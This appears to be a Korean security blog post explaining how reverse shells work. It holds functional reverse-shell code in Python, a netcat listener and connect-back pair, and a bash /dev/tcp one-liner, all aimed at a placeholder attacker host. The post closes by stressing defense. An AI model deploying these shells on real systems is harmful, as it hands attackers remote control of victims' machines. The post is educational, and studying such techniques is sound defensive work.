JJANG-JOON
article thumbnail
반응형

리버스 쉘

 

리버스 쉘은 컴퓨터 네트워크 보안 분야에서 사용되는 용어로, 공격자가 공격 대상 시스템에 백도어를 설치하거나 제어할 수 있는 환경을 구성하는 기술이며  리버스 쉘을 이용하면 공격자는 공격 대상 시스템에서 특정 포트로 연결 가능한 쉘을 실행시켜 원격으로 시스템을 제어할 수 있다.

 

리버스 쉘 작동 원리

  1. 공격자의 시스템 설정: 공격자는 백도어를 설치하려는 시스템에 대한 IP 주소와 포트를 선택한다.
  2. 공격 대상 시스템 감염: 공격자가 설정한 IP 주소와 포트로 연결을 시도하는 코드가 포함된 악성 파일을 공격 대상 시스템에 전달한다.
  3. 공격자의 시스템 리스닝: 공격자는 설정한 포트로 들어오는 연결을 리스닝하면서, 공격 대상 시스템으로부터의 연결을 기다린다.
  4. 리버스 쉘 실행: 공격 대상 시스템이 공격자의 시스템으로 연결되면, 해당 연결을 통해 명령어를 주고받을 수 있는 쉘 세션을 생성한다. 이를 통해 공격자는 명령어를 입력하고 시스템을 제어할 수 있다.

리버스 쉘 구현 예시

 

import socket
import subprocess

def reverse_shell(host, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        
        while True:
            command = s.recv(1024).decode()
            if command.lower() == "exit":
                s.close()
                break
            result = subprocess.getoutput(command)
            s.send(result.encode())
    except Exception as e:
        print(f"Error: {e}")

reverse_shell("attacker_ip", 4444)

 

위의 예시 코드는 파이썬을 사용하여 리버스 쉘을 구현하는 방법을 보여주는데 이 코드는 공격자가 설정한 IP 주소와 포트로 연결을 시도하며, 연결된 공격 대상 시스템과 명령어를 주고받는 쉘 세션을 생성한다.

 

 

 

공격자 쉘과 피행자 쉘 (nc 명령어) 예시:

 

공격자 쉘

nc -l -p 4444

 공격대상 쉘

nc attacker_ip 4444 -e /bin/bash

 

위의 예시는 nc (netcat) 명령어를 사용하여 공격자와 피행자 간의 리버스 쉘 연결을 설정하는 방법을 보여준다. 공격자는 포트 4444로 들어오는 연결을 리스닝하고, 피행자는 해당 포트로 공격자의 시스템에 연결하여 /bin/bash 쉘을 실행시킨다.

 

공격 시나리오:

  1. 공격자는 악성 파일을 생성하여 피행자 시스템에 전달
  2. 피행자가 악성 파일을 실행하면, 공격자 시스템으로 연결을 시도
  3. 공격자는 연결된 피행자 시스템을 리스닝하며, 명령어를 주고받을 수 있는 쉘 세션을 생성
  4. 공격자는 명령어를 입력하여 피행자 시스템을 원격으로 제어

 

 

리버스 쉘을 위한 Shell Script

#!/bin/bash

attacker_ip="attacker_ip"
attacker_port=4444

/bin/bash -c "/bin/bash -i >& /dev/tcp/$attacker_ip/$attacker_port 0>&1"

 

위의 Shell Script는 리버스 쉘을 생성하는 방법을 보여주며 공격자가 설정한 IP 주소와 포트로 연결을 시도하며, 쉘 세션을 생성하여 공격자의 시스템과 연결한다.

 

용어 정리:

  • 리버스 쉘 (Reverse Shell): 공격자가 공격 대상 시스템에 특정 포트로 연결 가능한 쉘을 실행시켜 공격 대상 시스템을 원격으로 제어하는 기술.
  • 리스닝 (Listening): 특정 포트로 연결을 대기하고 있는 상태를 의미함.
  • 쉘 세션 (Shell Session): 네트워크를 통해 명령어를 주고받을 수 있는 쉘 환경.
  • 방화벽 (Firewall): 불법적인 외부 접근을 차단하기 위해 네트워크 트래픽을 모니터링하고 제어하는 시스템.

 

 

 

리버스 쉘은 보안 전문가와 시스템 관리자가 시스템의 보안 취약점을 테스트하거나 분석할 때 사용되기도 한다고 하지만,

 

악의적인 목적으로 사용될 수도 있기 때문에  리버스 쉘과 같은 기술을 이해하고 방어하는 방법을 익히는 것이 중요하다.

 

이를 통해 시스템의 보안을 강화하고 해킹 시도로부터 시스템을 보다 더 안전하게 보호할 수 있을 것이다.

 

 

 

 

 

 

 

반응형
profile

JJANG-JOON

@JJANG-JOON

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!

profile on loading

Loading...